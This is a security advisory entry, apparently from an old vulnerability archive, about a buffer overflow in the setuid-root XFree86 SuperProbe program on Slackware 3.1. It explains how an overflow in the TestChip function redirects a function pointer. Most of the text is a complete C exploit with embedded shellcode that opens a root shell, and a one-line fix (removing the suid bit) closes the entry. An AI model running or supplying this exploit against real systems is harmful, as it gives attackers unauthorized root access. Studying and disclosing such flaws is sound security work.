COMMAND
/usr/X11/bin/SuperProbe
SYSTEMS AFFECTED
Linux Slackware 3.1
PROBLEM
Solar (solar@ideal.ru) found folowing vulnerability. SuperProbe
is a program supplied with XFree86 (to determine the type of
video hardware installed in the machine), and it is installed
setuid root in many Linux distributions.
The overflow he's exploiting is in the TestChip function:
> static Bool TestChip(chip_p, Chipset)
> Chip_Descriptor *chip_p;
> int *Chipset;
> {
> char *p, *p1, name[64];
[...]
> (void)strcpy(name, p);
> }
> if (StrCaseCmp(name, chip_p->name) == 0)
[...]
> if (chip_p->f(Chipset))
> {
> return(TRUE);
> }
> return(FALSE);
> }
Chip_Descriptor is defined like this:
> typedef Bool (*ProbeFunc) __STDCARGS((int *));
[...]
> typedef struct {
> char *name; /* Chipset vendor/class name */
> ProbeFunc f; /* Probe function */
[...]
> } Chip_Descriptor;
It is possible to overwrite the return address by the strcpy, but
one byte of chip_p would get zeroed out (since chip_p is located
right after the return address, and the string is ASCIIZ). This
would cause the program to crash when trying to access
chip_p->name for passing it to StrCaseCmp, before the return
address is used.
That's why Solar overwrite chip_p to point into an environment
variable (well, the return address gets overwritten also, but
it's never used), which has an array of pointers to the shellcode
(located at the end of the same variable's value) in it. One of
these is first used by StrCaseCmp, so it doesn't crash, and the
next one is used as the probe function pointer, so the shellcode
gets executed when calling chip_p->f() (it might be required to
adjust the alignment in Solar's exploit, try values 0 to 3 if the
default does't work).
--- probe.c ---
/*
* SuperProbe buffer overflow exploit for Linux, tested on Slackware 3.1
* Copyright (c) 1997 by Solar Designer
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shellcode =
"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
"\xff\xd4\x31\xc0\x8d\x51\x04\x89\xcf\x89\x02\xb0\x2e\x40\xfc\xae\x75\xfd"
"\x89\x39\x89\xfb\x40\xae\x75\xfd\x88\x67\xff\xb0\x0b\xcd\x80\x31\xc0\x40"
"\x31\xdb\xcd\x80/"
"/bin/sh"
"0";
char *get_sp() {
asm("movl %esp,%eax");
}
#define bufsize 8192
#define alignment 0
char buffer[bufsize];
main() {
int i;
for (i = 0; i < bufsize / 2; i += 4)
*(char **)&buffer[i] = get_sp() - 2048;
memset(&buffer[bufsize / 2], 0x90, bufsize / 2);
strcpy(&buffer[bufsize - 256], shellcode);
setenv("SHELLCODE", buffer, 1);
memset(buffer, 'x', 72);
*(char **)&buffer[72] = get_sp() - 6144 - alignment;
buffer[76] = 0;
execl("/usr/X11/bin/SuperProbe", "SuperProbe", "-nopr", buffer, NULL);
}
--- probe.c ---
SOLUTION
Since this is another suid program vulnerability, to fix problem
quickly turn off suid permission.